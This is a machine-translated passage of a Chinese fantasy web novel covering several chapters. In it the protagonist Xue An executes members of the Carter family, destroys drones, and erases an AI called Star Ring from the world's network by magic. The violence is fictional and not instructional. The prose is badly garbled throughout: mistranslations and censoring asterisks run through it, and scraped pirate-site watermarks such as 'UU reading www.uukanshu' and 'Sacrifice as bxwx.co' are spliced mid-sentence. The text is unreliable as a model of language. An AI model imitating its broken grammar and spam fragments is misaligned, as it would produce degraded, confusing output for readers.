    As he said, Xue An took out the jade piece, "Do you know this thing?"


    When he saw this thing, Valentin couldn''t help but pale, "Ecstasy? Why do you have such a thing?"


    "It seems that you really know this thing, you don''t care how I got it, I just ask you, is this thing your Carter family?"


    "Yes!"


    At this point, the concealment had no effect, so Valentine confessed straightforwardly.


    Xue An nodded, "It''s fine! Come on, close your eyes, and I''ll send you on the road."


    When he said this, Xue An''s expression was extremely calm, as if he was telling a trivial matter.


    But he could calm down, but Valentine couldn''t calm down anyway.


    "No! You can''t kill me!"


    "Oh? Why can''t I kill you?" Xue An said lightly.


    "Because I am a direct member of the Carter family. If you kill me, our family will know at the time. I don''t think you are willing to behave!"


    Valentin is not a fool. Naturally, I can see that Xue An definitely had other purposes in this trip, especially the piece of seductive jade he took out, which proves Valentine''s idea.


    Because Ecstasy is a taboo even in the Carter family, no one else has the right to use it except for the existence of the deacon-level.


    But Xue An shook his head lightly, "You are only half right. I really don''t want to be stunned, but now even if I kill you, your family won''t know!"


    Valentin was shocked, and immediately turned pale.


    Because he has guessed the reason.


    "At this moment, this hotel has become a de facto island, all information is blocked, so when you die, your family will not be aware of it." Xue An said softly.


    Valentin looked desperate, "Could you not kill me?"


    "can not!"


    "Why? It wasn''t me who was bidding at the auction just now, and I have done nothing wrong. Why can''t you let me go?" Valentin shouted.


    "Because you are a member of the Carter family, the identity that once made you feel honored is now the shackles of your life. After all..."


    "Everyone has to pay for their actions. Since you have chosen to enjoy his glory, you must be prepared to pay the price."


    "No! I''m not convinced, I don''t want to die!" Valentine screamed hysterically.


    Xue An remained unmoved, but said indifferently: "Hey, close your eyes, soon!"


    Valentin was almost frightened, and suddenly got up, like an angry lion, rushing towards Xue An.


    This was his blow. Sacrifice as 75zhongwen.com Sacrifice as


    But just halfway through his figure, a ray of sword light ended all his anger.


    puff!


    Blood splattered and heads fell to the ground.


    Xue An didn''t even look at him, turned around and said to Fox Ye: "You are here to guard these people, and I will come as soon as I go."


    Hu Ye didn''t ask Xue An what to do, and immediately nodded.


    "good!"


    Then Xue An''s figure disappeared like a bubble in the next instant.


    The rich men present looked at each other, and their faces were full of panic of imminent disaster.


    After all, this young man in white can kill even the descendants of the Carter family, so what kind of green onion is he?


    Mandy looked towards Xue An''s departure direction meaningfully, and then whispered to Griffin on the side.


    "Although I''m sure I haven''t seen this boy, but somehow, I always feel that he is very familiar."


    Griffin couldn''t help but nodded, "Yes, I have always felt this way."


    "How many secrets are there in this young man!" Mandy couldn''t help but sigh.


    At the same time, Zhou Daniu in the Phoenix team couldn''t help but said to Zou Sui on the side.


    "Smashed mouth, where did you say this adult went? Did he escape because he killed the descendant of the Carter family?"


    Before Zou Sui could speak, Cheng Hao said in a deep voice: "Unsurprisingly, there will be no Carter family anymore!"


    Zhou Daniu''s eyes widened, "Captain, you mean..."


    "Yes, this adult blocked the scene and then left, obviously for the purpose of preventing the Carter family from knowing the situation in advance. There is only one purpose of doing this, and that is to eliminate the roots."


    Everyone present was silent.


    They certainly did not sympathize with what happened to the Carter family.


    In fact, based on what the Carter family usually does, there is no atonement for a hundred deaths. UU reading www. uuk��nshu. cm


    It''s just that no one thought that this boy in white would be so arrogant. Diminish


    Surprisingly, a person came to singles out a family.


    "This is what the big man did!" Feibai sighed suddenly.


    Not to mention the hotel, just talk about Xue An.


    At his current speed, he came to the Carter family in the middle of the rich district in a short while.


    When he overlooked this gorgeous manor, his eyes were full of coldness.


    In fact, with his strength, the Carter family can be completely wiped out with a single swipe of his finger.


    But he couldn''t do that, because the clue he was looking for was in this family.


    Therefore, he dodges and hides directly into the void, and then according to the memory excavated from Valentin''s mind, he comes to the core area of ??the manor with ease.


    There are many pavilions and pavilions here, and they are very cleverly arranged, faintly forming a huge Feng Shui bureau.


    The core of Feng Shui Bureau is a small building built in the center of an artificial lake.


    Although he hadn''t entered it yet, Xue An knew only by observing Qi and Chaxing that this artificial lake obviously had a lot of mystery.


    Not to mention anything else, the dense array of seals carved on the covered bridges alone is enough to make people stunned.


    As for the emerald green lake, it is even more prohibitive.


    Ordinary powerhouses can only sigh for such a place close to the sky. Mi He Mi


    But Xue An just smiled silently.


    The more rigorous the arrangement proves that the Carter family has more ghosts in their hearts.


    In the next instant, a breeze passed, and then Xue An disappeared in place.


    In the small building, a secret meeting is underway.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2634： Time and Space Relic

    Bloomfield Carter, the head of the Carter family and an important member of the board of directors of the Federal Securities Agency, was sitting on the high-back sofa with a cold expression on his face.


    "Recently, the Federal Securities Agency issued a warning, saying that after the chaotic calculation and evaluation of the intelligent system, we found that the risk of our exposure is increasing rapidly, so I called you to come to a simple regular meeting."


    Speaking of this, the old man dressed like the godfather looked around the room with sharp eyes like an eagle.


    "Let''s talk about it, what do you guys think about this?"


    The people sitting below looked at each other, and then one of them stood up and spoke.


    "Dear Father, I don��t think this matter should be that serious. After all, the Federal Government will issue various warnings to each family almost every month, and our Carter family has always been cautious in doing things. How could there be any mistakes? Woolen cloth?"


    Bloomfield looked at his son and nodded, "Sit down first!"


    "Yes!"


    After he sat down, Bloomfield said coldly: "What a stupid idea, do you really think it is as simple as a warning?"


    The person who had just spoken shuddered, the content of his face was gone, replaced by a face full of panic.


    "The federal government does issue warnings to each company every month, but this time is different, because it is the Starring Intelligence that issued the warning, so we must pay attention to it."


    "Moreover, the drunk dance bar has been pressing on my heart the other day. I always feel that it is not that simple."


    Bloomfield frowned and finished, and immediately someone stood up off the court.


    "My grandfather, don''t worry, Valentine is already following up on this matter, and I believe there will be results soon."


    "Speaking of which, why didn''t you see Valentine here today?"


    "He went to the charity party on behalf of our Carter family, and he should be coming back soon."


    Xue An heard the conversation in the room truly.


    Which revealed a very critical message.


    That was the warning from the Federal Security Office, which was obviously calculated by the star ring that betrayed Zhang Tianyou and took refuge in the Federal Security Office.


    This is worth the fun.


    Because it is possible to calculate results that are so close to the facts without key information, this obviously proves the terrible starring.


    In fact, this is also one of the reasons why Xue An cast a rat avoidance device.


    Although with his strength, he can shield all the electronic devices of the entire earth from hand to hand.


    But as Zhang Tianyou said, the star ring at this moment has spread to the entire heavens.


    Unless he has the ability to overthrow the entire heavens, it is impossible to completely destroy this star ring.


    That''s why Xue An has been forbearing, so as to hide this star ring.


    Because now he has reason to suspect that this whole thing must be inseparable from this star ring.


    The regular meeting soon ended, and everyone dispersed. Only the supreme ruler of the Carter family, Bloomfield still sat on the sofa and did not move.


    He didn''t stand up until everyone had retreated and walked to the bookcase.


    A blue light flashed, and then there was a cold mechanical sound.


    "Iris verification passed."


    Immediately afterwards, the bookcase was separated to the left and right, and a very strong and complicated combination lock appeared.


    Bloomfield first pressed his hands on the code lock to verify his fingerprints, and then pressed a very complicated code one by one.


    After all this was done, the entire wall slowly opened, and then a downward passage appeared.


    Bloomfield stepped into it, and the wall closed.


    But what he didn''t notice was that at this moment, Xue An had also entered it.


    After walking down the steps for a long time, Xue An estimated that he had already gone deep into the bottom of the lake. Suddenly, a huge space appeared in front of him.


    The layout of this space is extremely sci-fi, and the four walls, ceiling and floor are all sealed with weird runes.


    In the center where these runes converge, there is a huge glass cabinet, in which there is a huge and shining strange stone.


    There are countless black lines all over the stone, it is the Ecstatic Jade.


    Guanghua flashed in Xue An''s eyes.


    Because he found that just around the stone, the flow of time seemed to slow down.


    At the same time, this entire space was imprisoned by an invisible force.


    It''s no wonder that when Xue An was outside before, the spiritual sense was all over but he had never discovered this space.


    And at this moment, this Bloomfield didn''t even notice that someone was following him.


    Sacrifice such as suyingwang.net. I saw his face full of devout enthusiasm, knelt to the ground in front of the stone, muttering words in his mouth.


    "Great messenger of time and space, please grant me wisdom eyes that can see through all the fog, so that I can find the culprit who disturbs the river of time."


    Hum.


    Following his prayers, the boulder shook slightly, and then the flashing speed began to accelerate sharply.


    In an instant, a ray of brilliance fell directly into the head of Bloomfield, who was worshipping.


    Bloomfield trembled all over, then slowly raised his head, his eyes full of bright golden light.


    Then he looked in the direction Xue An had set. UU reading


    "No wonder I have always had a foreboding in my heart, it turns out that you are the culprit."


    Xue An knew that he had seen through his disguise, so he no longer concealed it and showed himself directly.


    "The culprit?"


    "That''s right! What is the culprit who is disturbing the river of time?"


    Bloomfield shouted with great authority.


    Xue An didn''t eat this set at all, and his eyes stayed on this piece of ecstatic jade.


    "What did you call it just now? Time and Space Messenger?"


    "Yes, this is the great space-time messenger. It is a holy thing left by the God of Time. You waited for the evil nephew to be caught quickly?"


    Xue An laughed dumbly and didn''t bother to talk nonsense with this guy anymore. Since this place was blocked, the information could not be passed on.


    Therefore, with a wave of his hand, a ray of sword light pierced Bloomfield.


    But as soon as this sword light appeared, Bloomfield flashed aside like an unknown prophet.


    Almost at the moment when he dodged, the ray of sword light pierced by obliquely and disappeared.


    Reduce Bxwx.co. Xue An raised his eyebrows slightly, and dozens of sword lights flashed past.


    But this Bloomfield avoided one by one.


    Then I heard him say in a cold and condescending tone.


    "It''s useless. With the blessing of the time and space messenger, I can see through all the falsehood and point to the truth. I can see its trajectory in advance with every blow you make, so you should just obediently catch it."


    "Yes?"


    Mi He Mi. Xue An sneered, and at the same time the figure appeared behind Bloomfield, and punched him in the head.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2635： Take care of cause and effect

    From the moment Bloomfield''s voice fell to Xue An''s punch, the whole process was almost at its peak, giving no chance to react at all.


    But even a violent punch still didn''t hurt Bloomfield.


    Because as early as the moment before Xue An punched, this Bloomfield had disappeared in place, leaving only a shallow phantom.


    puff.


    The fist wind shattered the illusion.


    And Bloomfield let out a sneer, and then stood proudly in the distant void, looking arrogantly at Xue An.


    "I said long ago that with the blessing of the time and space messenger, I can see through all of your subsequent trajectories, so any of your attacks are invalid to me. Why don''t you believe it?"


    Xue An also laughed.


    In the laughter, his whole sense of existence suddenly began to decrease sharply.


    Almost in the blink of an eye, his breath completely disappeared.


    This is a very strange feeling.


    Because Xue An is clearly standing there, but your brain judges that he is gone.


    And this illusion also surprised Bloomfield slightly.


    "you��."


    As soon as the word "you" was spoken, his head shattered.


    Then Xue An slowly retracted his hand and said lightly: "Do you really think I can''t help you?"


    Bloomfield''s body slowly fell to the ground.


    He didn''t understand what was going on until he died.


    Why did Xue An, who was still helpless with him just now, escaped his real eyes in the blink of an eye?


    In fact, only Xue An knows the reason for this.


    It''s simple to say, the reason why this Bloomfield can spy on his own trajectory in advance is because he is in cause and effect.


    This is inevitable.


    After all, all existence has its inevitability and rationality. To put it bluntly, they are all in cause and effect.


    This is why Bloomfield was so rampant just now.


    But he never expected that Xue An''s natural magical powers were causal, and he couldn''t be more familiar with this set.


    After realizing the source of the problem, Xue An used magical powers to fight cause and effect, temporarily shielding his own existence.


    In this way, all of Bloomfield''s snooping would be invalidated.


    After killing the top leader of the Carter family, Xue An turned around and came to this so-called space-time messenger.


    When I get closer, I can feel the weirdness of this stone even more.


    Especially the intricate stripes above, most people will get a headache and dizziness after watching it for a while.


    That''s because these stripes are actually countless tracks of destiny, and it takes a lot of soul to watch them.


    Xue An took out the piece of seductive jade and squeezed it lightly.


    The outside evil demon that he had sealed inside appeared in the field.


    "grown ups!"


    "Are the space-time vortices you saw when you were outside the realm?"


    The evil creature outside the territory nodded and said: "Yes!"


    "good!"


    Xue An responded and crushed the extraterritorial demon casually.


    Regarding this result, this extraterritorial evil demon seemed to have expected it a long time ago, and did not struggle and beg for mercy at all.


    Because it knows that it''s useless. Sacrifice like yunxuange.org sacrifice like


    The strength of this adult is beyond its comprehension, and it is a fluke to be able to keep himself alive till now.


    What''s more, death is not terrible for these invisible and intangible extraterritorial demons.


    Even if the body falls here, the self outside the domain will be reborn.


    After finishing this matter, Xue An stepped on it, and the glass window in front of him broke apart, and then Xue An walked to the boulder with debris on the floor.


    The brilliance within the boulder fell together, as if some existence was breathing.


    Xue An stretched out his hand and gently placed it on the boulder.


    In an instant, Xue An was shocked, and then he saw a strange and mysterious scene.


    But seeing that everything in the world has turned into a cloud of mists gathered by cause, and the vast river of time is flowing violently from every existence.


    The connections between people, things, and heaven and earth have all become tracks.


    And these trajectories finally constitute a huge and extremely huge network, connecting everything in the world.


    Xue An himself is also one of the time and space nodes, but he found that all the tracks related to him are covered with a layer of gray fog.


    It is this layer of fog that has caused more complicated changes to the already intricate trajectory of fate.


    Xue An''s heart moved, is this the revised timeline?


    But how can I change everything back?


    Where did the disappeared Xuaner Mengxue and others go?


    It seemed that he felt the doubt in his heart.


    At this moment, the layers of giant space-time nets began to open one after another, and then a gap appeared after being cut by the giant space-time nets.


    In the crevice, Tang Xuan''er, Fan Mengxue and others stood out.�� minus bxWx.C*o��


    Xue An was shocked and wanted to step forward.


    But no matter how far he goes, the distance from them is constant.


    Not only that, Xue An also found that they were standing in the gap at that time like wood carving clay sculptures throughout the process.


    Like a **** who has been forgotten here since ancient times, silent and mysterious.


    Xue An is anxious and reads www.uukanshu. com suddenly launched a ruthless.


    The red lotus between the eyebrows appeared, the whole body was fiery, and the sword intent under his feet was vertical and horizontal, and then formed a powerful power capable of destroying the galaxy, trying to break through the barrier.


    But everything is in vain.


    No matter how vigorous Xue An''s side is, they can''t even close the distance between each other even the slightest.


    On the contrary, all the sights are disappearing.


    In the blink of an eye, Xue An fell out of this scene.


    Looking at the scene again, it is still the basement.


    The corpse of Bloomfield lying on the ground was still cold, and the blood was winding down the ground.


    Xue An''s complexion was pale.


    This was the first time he felt completely powerless.


    Obviously the person was right in front of him, but he couldn''t even make a shout.


    This feeling is simply terrible.


    Just as Xue An was full of anger, the boulder began to disintegrate piece by piece, and in the end only a crystal-clear core remained, suspended in the air.


    Xue An held this thing in his hand with a cold face.


    Anyway, now I found a clue.


    And this so-called space-time messenger or space-time holy thing is obviously the key.


    So Xue An put it away, and then glanced at Bloomfield''s dead body on the ground.


    Of course, the Carter family is more than guilty, but the question is whether to do it now.


    I thought I could find more clues or clues, but I didn''t expect what I got was not what I wanted.


    After thinking for a while, Xue An flashed a cold light in his eyes, and immediately waved out a sword.


    This sword directly smashed the 10,000 tons of sand on the head, and even the artificial lake was evaporated by this extremely terrifying sword power in an instant. Mi He Mi


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2636： Bloody

    Everyone in Carter Manor was stunned by this sudden scene.


    "Patriarch!"


    "grandfather!"


    There were shouts.


    People then remembered that Bloomfield was among the small buildings on the artificial lake.


    But this shout only lasted for less than a few seconds, because the sword light that soared into the sky had already turned back, turned down, turned into countless sword lights, and slashed like a meteor falling to the ground.


    Puff puff!


    It was the sound of the head being chopped.


    But in a moment, the Carter family was almost completely wiped out.


    The reason for this is almost because there are still a few people standing trembling in the blood on the ground, completely unaware of what happened.


    What is this for?


    Could it be that I am dreaming and failing? Sacrifice as 99bxwx.com


    How come the entire Carter family is gone in just a few minutes?


    Just when these people were puzzled, Xue Anye had already rushed out of the artificial lake that turned into a big pit.


    After arriving in the sky, Xue An looked down at the dead corpses all over the floor and said coldly.


    "It''s really a domineering wealthy man with blood on his hands!"


    The sword that Xue An slashed just now is similar to the previous sword of evil, specifically aimed at the wicked with **** hands.


    As for those who do not die, they will automatically ignore it.


    In the end, I didn''t expect that it was this sword that nearly wiped out the entire Carter family, leaving only three or two big cats and kittens.


    At the same time, Xue An raised his eyes and glanced at the distant sky, faintly, the sound of the drone could already be heard.


    Xue An knew that such a big movement could not be concealed from the Federal Government.


    Especially the artificial intelligence star ring in charge of everything, should be aware of it in the first place.


    But at this moment Xue An didn''t have the slightest fear.


    Because now he no longer needs to hide his identity. Although he has not gained much from the Carter family this time, he has at least a few key pieces of information.


    Under this circumstance, Xue An no longer needs to cast rat-inhibitors as before.


    So after feeling that a drone was coming here, Xue An sneered coldly, and then stepped down.


    boom!


    Although this foot is stepping on the void, the huge power directly affects this Carter Manor.


    The exquisite buildings all over the ground are directly turned into powder under the power of this horror.


    Immediately afterwards, Xue An raised his head and smiled at the dark night sky. Even if he swung himself like a sword, he disappeared in an instant.


    As soon as he walked on his front foot, the drones on his back foot rushed to the front.


    After circling a few times in the field, the drone landed and turned into extremely precise mechanical creatures, and began to collect information on the battlefield.


    At the same time, in the federal government building at the rear.


    There was dead silence in the combat staff room.


    Everyone looked at Xue An''s smile on the big screen.


    This picture was obviously taken by satellites, especially with the help of thermal imaging, even in the dark night, Xue An��s face can still be fully revealed.


    But the more so, the more chilling the back.


    "Oh my god, this person can actually perceive the prying eyes of satellites. This perception is really terrifying."


    "Look at the Carter family manor, my God! If anyone says it was trampled on by a dozen tyrannosaurs, I believe it!"


    The exclamation sounded one after another.


    These combat staff have not experienced such a thing for a long time, so they are all in shock.


    And with the summary of the data, this shock has become more intense.


    "The Carter family with a sword cut is almost annihilated? I have said that I should beware of these Eastern sword repairs. You don''t believe it, but now it''s all right!" someone shouted.


    And a general who seemed to be the leader said solemnly.


    "Did the data analysis results come out?"


    "Not yet!"


    "How could this happen? In the past, when Starring was dealing with such things, the reaction speed was very fast!" The general frowned and said.


    As soon as the voice fell, the screens in front of everyone, including the large screen on the wall, showed a few glaring red letters.


    "Extremely dangerous! Warning, this person is extremely dangerous!"


    The evaluation column used to calibrate the combat power value is simply written with a few big question marks.


    Immediately afterwards, a cold female voice echoed in the huge combat staff room.


    "From now on, everyone suspends all tasks in their hands and devotes all their energy to this goal! Importance, no upper limit! Repeat, no upper limit for importance!"


    This sentence resounded like a magic sound in everyone''s ears.


    At the same moment, the sleeping mechanical army in New York City began to wake up.


    Countless mechanical warriors drilled out of the sewer, forming a mighty torrent of steel on the street. Diminish


    At the same time, the drones of almost the entire second area were mobilized and gathered together to form a dark cloud covering most of New York City, and they slew towards the hotel.


    As early as the beginning of the matter, this artificial intelligence starring quickly retrieved the status quo of the entire New York City.


    Although Xue An blocked the hotel with supreme spirituality, all the outsiders'' prying eyes became useless.


    But Xinghuan quickly noticed the abnormality.


    Because this hotel disappeared in the search of the star ring like a black hole.


    In particular, the power supply was also inexplicably interrupted.


    In conjunction with the charity dinner held here before, UU Reading www. uukanshu.com So Star Ring immediately targeted here.


    And just when the mechanical army from the sky and the ground smashed toward the hotel.


    The people inside are ignorant, but the atmosphere is inevitably becoming anxious with Xue An''s departure.


    Many people''s eyes flickered, and they didn''t know what they were thinking.


    Fox night also began to get a little irritable.


    "Why isn''t Old Xue coming back?"


    On the contrary, Xiao Sha seemed more calm and relaxed, "It''s okay if he doesn''t come back. He knew it when he left. If there is something wrong, just kill it!"


    Many of the people present turned pale with these murderous words.


    "I''m not worried about this, I just think that Xue An has been here for too long. I hope he can find some clues, otherwise, wouldn''t it be a waste of work?"


    This is what Fox Ye worries most, he doesn''t care about the life and death of the guys present.


    He just wants to know when his sister will be back.


    At this moment, I heard Xue An''s voice coming from behind.


    "Don''t worry, I''m back, and as you think, I did find some clues!"


    With the voice, Xue An showed his figure.


    Many people couldn''t help letting out a sigh of relief when they saw him.


    But some people secretly wondered.


    This boy in white seems to be a little different from when he left!


    But there is some uncertainty as to where it is different.


    Only Griffin turned pale, and then a look of horror appeared in his eyes.


    Mandy felt his strangeness, and asked in a low voice: "What''s the matter?" Mi He Mi


    Griffin took a deep breath, "It''s bloody!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2637： Kill 4 parties

    As the underground king who rose from the grass and grew up in the darkness, Griffin could not be more familiar with the breath of Xue An.


    That was the **** air after the murder.


    Don''t look at Xue An nowadays, she still wins snow in white, without the slightest dust.


    But this kind of blood can''t be concealed by any method.


    In particular, the **** aura on Xue An''s body was so strong, even to the point where it was almost substantive.


    This is what shocked Griffin the most.


    How many people have to be killed to form such a strong blood.


    Mandy is not the kind of weak wealthy daughter, but also dabbled in the dark side of society.


    So when I heard Griffin''s words and saw his face change, I couldn''t help but understand, and his complexion became very solemn.


    But although she can see the situation clearly, it doesn''t mean that others can. Sacrifice like bxwx.co sacrifice like


    I saw that the dozens of rich people sitting underneath, as if they had been discussed in advance, shouted one after another.


    "Let us out! We haven''t done anything illegal, so why are we detained here?"


    "Yes, we are good citizens of the second district, and the Federal Government has awarded us medals. Now that the matter is over, let us go!"


    These tycoons were obviously prepared. They didn''t offend Xue An in their words, but instead focused on being good citizens who didn''t break the law.


    It was because they had clearly noticed that although the white-clothed boy was very strong in his shots, he was very principled.


    People who die are without exception, people who have provoked him during his lifetime.


    That''s why they dare to clamor like this.


    Facing this scene, Mandy''s mouth couldn''t help but a sneer appeared.


    She is also a member of a wealthy family, and she knows nothing more about the thoughts of these wealthy dignitaries.


    To put it bluntly, they still want to rely on their own power to make Xue An bow his head.


    If you put it on other people, this method may actually work.


    But now...


    Mandy is not optimistic about these people at all.


    Because for a person who can get very **** after going out so easily, the threat of these giants is extremely ridiculous and self-righteous.


    really.


    As soon as these people''s voices fell, Xue An sneered coldly.


    "Oh? They are all good law-abiding people? Am I wrong?"


    Facing this questioning, these people looked at each other quietly, and then one of the chubby men shouted.


    "Yes, we are all law-abiding good people, who knows if you are wrong?"


    Xue An glanced at him, "What is your name?"


    The man stood up aggressively, "My name is Eddie Leonard, and I am the first heir to the Leonard family!"


    When he mentioned his identity, the man was full of pride.


    Xue An nodded, "Okay, then I will let you see who is wrong!"


    When the words fell, Xue An lightly stomped his foot, the hotel shook violently, and the light reappeared outside the window immediately.


    Then the lights in the hall turned on.


    But before these rich people had time to be happy, Xue An let out a sigh of relief, and the entire wall in front of him broke and vanished.


    Hu Ye couldn''t help but vomit, "This guy, I''m addicted to tearing down the wall!"


    At the same time, the midnight cool breeze poured in, but people were not in the mood to pay attention to it.


    Because it was just outside the hotel, it was already crowded with mechanical creatures.


    There are countless drones flying in the sky, and mechanical soldiers next to each other on the ground.


    These big killers all aimed their guns at the hotel, and when that layer of spiritual shield disappeared, they immediately pulled the trigger.


    The bullet rain was like a heavy iron curtain, smashing toward the hotel overwhelmingly, with dozens of precision-guided missiles interspersed with it.


    Such firepower is enough to razed the hotel and several nearby buildings to the ground.


    The gunfire illuminates the despair in everyone''s eyes.


    Including the rich people who just clamored that they are good citizens in the second district are all dumbfounded at this moment.


    Then the Eddie Leonard screamed hysterically.


    "No! How could this happen? My father is the head of the Second District Operations Staff. He knows that I am here. How could he give such an order?"


    But no matter how he yelled, it was impossible to make the sky full of missiles disappear.


    After all, bullets don��t matter if you are the son of the head of the combat staff.


    And when these people were in despair, Xue An stepped forward, appeared before the dense barrage, and then drank a word.


    "Exit!"


    As soon as this word was uttered, these countless bullets burst into bursts as if they had hit an invisible wall at the same time.


    But the explosion did not spread far, because what Xue An said was not just annihilation of these bullets, even the subsequent explosions.


    In an instant, the flames and shock waves that had spread were suppressed abruptly, and then vanished.


    This is just the beginning. Diminish


    Xue An stepped forward, and the huge coercion swept the whole world in an instant.


    boom!


    Both the drones in the sky and the mechanical warriors on the ground turned into powder at the same time.


    Everyone in the hotel I saw in this scene was shocked.


    Huye slapped his thigh with joy. UU reading


    "It should have been like this a long time ago. First kill a few people in the hot spot, and then wipe out the rest of the monsters. Is this Lao Xue''s style of work? I thought he had gone to Tianwaitian when I was aggrieved during this time. You have changed your temper!"


    In fact, Hu Ye has long been unable to contain the anger in his heart. After all, his sister has disappeared for so long, it is impossible for anyone to calm down.


    If possible, he really wants to wipe out the entire federal government at once.


    It''s just that Xue An had been forbearing before, so he was also quite helpless to control himself.


    "Old Xue, who are you going to kill next?" Hu Ye stood up, and came to Xue An excitedly.


    Xue An ignored him, but suddenly raised his eyes. The vastness of the unimaginable divine consciousness covered the entire earth in an instant, and it spread madly.


    In the blink of an eye, Xue An''s spirit has crossed the moon.


    And at the same moment in the combat staff room, the big screen that was flashing the calculation screen suddenly stopped.


    Then I listened to a mechanical girl saying: "Danger warning, danger warning, fatal blow detected!"


    As soon as the voice fell, all the computers in the combat staff room exploded, and even the big screen was not spared.


    Not only that, Xue An''s spiritual thoughts directly penetrated into the earth''s network, and with the force of crushing, all traces of the star ring were directly removed.


    In an instant, there were no traces of star rings in the entire network of the earth.


    And at the same moment when Xue An started, the drunk Fox Huan suddenly opened his eyes in the Red Jade Villa in Beijiang. Mi He Mi


    "What a strong mind!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2638： Shake the world

    When the words fell, he jumped up and came in the direction of Xue An.


    In fact, not only him, but also a sword light patrolling the edge of the solar system is also coming back at a terrifying speed.


    However, after a while, the two figures appeared in the sky above the second district almost simultaneously, and then they arrived in front of the hotel.


    A person''s sword spirit is awe-inspiring, and he can arouse the power of heaven and earth with his gestures.


    The rhyme is restrained, but there is still good power between the eyebrows and eyes.


    It was Li Jingxing, the lord of Sword Palace, and Huhuan, the lord of Qingqiu.


    Xue An was not surprised by the appearance of these two people.


    After all, there was such a big battle, and if they didn''t come yet, it would be too much of a name.


    It''s just that unlike the world that has not been tampered with, Li Jingxing and Hu Huan in this timeline are obviously much weaker.


    Xue An looked at the two of them with a slight sigh in his heart.


    "You two are finally here!"


    It''s just that he didn''t know, his words shocked Li Jingxing and Hu Huan who were already surprised.


    With their strength, Xue An''s strength can naturally be felt.


    Especially Li Jingxing, he felt that the sword power on the white-clothed youth on the opposite side looked like a bright sun, and he couldn''t look directly at it at all.


    This discovery made him feel shocked.


    When did such a powerful sword repair appear on earth again?


    "I know what you are all wondering about, and I can''t explain it to you now. Just remember that I am not malicious to you and the whole earth!" Xue An said lightly.


    At the same time, his images quickly spread to the entire world through channels such as satellites or drones.


    Although in this timeline, the world has been unified under the authority of the Federal Government.


    But this does not hinder the intrigue between the various districts.


    Especially when such a big event happened in the second area, even the star ring was eradicated.


    Of course, the government agencies in other districts also have to think carefully.


    Therefore, for a time, Xue An''s images appeared in the staff room of each district in real time.


    Countless high IQ talents and strong people have begun to work overtime to analyze Xue An.


    At the same time, the entire planet''s network has turned upside down.


    Just now, Xue An directly invaded the earth network with the supreme spiritual mind, eliminating all traces of the star ring.


    Although this process was extremely short, it still attracted the attention of some Internet gods.


    After the star ring disappears, all the firewalls fail at the same time, and the flood of information on the network that is blocked is flowing around like a bank bursting flood.


    Coupled with the promotion of global media, for a time, whether on the Internet or in reality.


    Wherever there is a screen, Xue An''s image appears.


    Beijiang.


    Lao Xie Hotel.


    Old Xie and the fat aunt watched the proudly standing Xue An on the TV with stunned eyes. They didn''t speak for a long time.


    Decrease Bxwx.CO*. It wasn''t until Xue An said that, that Lao Xie trembled all over, and then whispered to the fat aunt on the side.


    "Wife, it looks like... we received a great man two days ago!"


    The fat aunt didn''t think about it, all her attention was attracted by one thing.


    That is how Xue An was familiar with himself and Lao Xie at the beginning.


    What is going on here?


    Qin Yu and An Qing were also shocked and puzzled.


    The two of them looked at the scene on the big screen, and they were also full of shock.


    The two of them naturally have more information channels than Lao Xie and Fat Aunt, but because of this, they are more shocked.


    It only took one day to wipe out the Carter family, and at the same time, it severely damaged the mechanical forces in the second area and wiped out the artificial intelligence starring.


    One by one, the two of them were plunged into contemplation.


    Xue An didn''t know the reaction of all parties in the world, and even if he knew it, he wouldn''t care. At this moment, he quietly looked at the opposite Hu Huan and Li Jingxing, waiting for their decision.


    After a while, the two looked at each other, and then Li Jingxing asked in a deep voice.


    "Then who are you?"


    "My name is Xue An. As for who I am, it is impossible for you to know now, and you don''t have to ask anymore. Still, I don''t want to be an enemy of you and the whole world!"


    Xue An''s words were sincere, at least Hu Huan and Li Jingxing on the opposite side believed it.


    After all, with the strength shown by this white-clothed boy, he didn''t need to lie.


    After hesitating for a moment, the two nodded together.


    "If this is the case, then we won''t bother about this matter anymore and say goodbye!"


    With that, the two of them turned into streamers and disappeared into the sky.


    Seeing the back of them leaving, Xue Aner showed a bleak expression in his eyes, but this expression was fleeting, and then turned around and returned to the hotel.


    At this moment, the lobby of the hotel was silent.


    No one dared to have even the slightest objection.


    joke.


    Didn''t you see that the two adults at Hongyu Villa just now took the initiative to retreat?


    Who would dare to get ahead at this time, how is that different from looking for death?


    Xue An first smiled at the dumbfounded Eddie Leonard.


    "Who do you think is wrong now?"


    Sacrifice such as bxwx.co sacrifice such as. As soon as the words came out, the fat and bear-like Eddie Leonard plopped and fell to his knees, knocking his head like garlic.


    "Big...sir, I was wrong, I shouldn''t question you, please forgive me!"


    He was really scared.


    Before, he thought that relying on his own name and the reason to be stubborn, he would definitely make this white-clothed boy retreat.


    Unexpectedly, the white-clothed boy would not accept the move at all, but directly picked up the chessboard and smashed it over.


    And everyone just saw what happened outside.


    What Xue An represents is an unquestionable force.


    Under this power gap, no one dares to BB anymore.


    Xue An laughed, and then walked right beside this Eddie.


    Eddie breathed a sigh of relief. He just wanted to be happy for the rest of his life, but in the next second his head flew straight out, and then the headless corpse collapsed to the ground softly, like a mountain of meat.


    Many people''s eyelids jumped with this method.


    But Xue An went straight to the center of the hall as if he had pinched a bug to death.


    "Everyone must have seen it too. I am very dissatisfied with the current situation, especially for those of you who consider themselves to be superior!"


    Many people bowed their heads pale.


    Xue An turned to look at Griffin sitting in the audience.


    "Griffin!"


    "Yes!" Griffin stood up almost subconsciously and said respectfully.


    Mi He Mi. "How do you generally deal with people who have lost awe?"


    "I...I usually let them relearn how to be awed!" Griffin said.


    "Very well, then these people will all be handed over to you, I hope you can make them learn to be in awe as soon as possible!"


    After all, Xue An said to Huye, Huofenghuang and others.


    "let''s go!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2639： Xiaodao Temple at the node of time and space

    It wasn''t until Xue An and everyone else disappeared that Griffin lifted up his head and looked at these people present.


    Everyone couldn''t help but shudder wherever they looked.


    Not because of fear of Griffin, but because of fear of the man standing behind him.


    Griffin naturally knew this too.


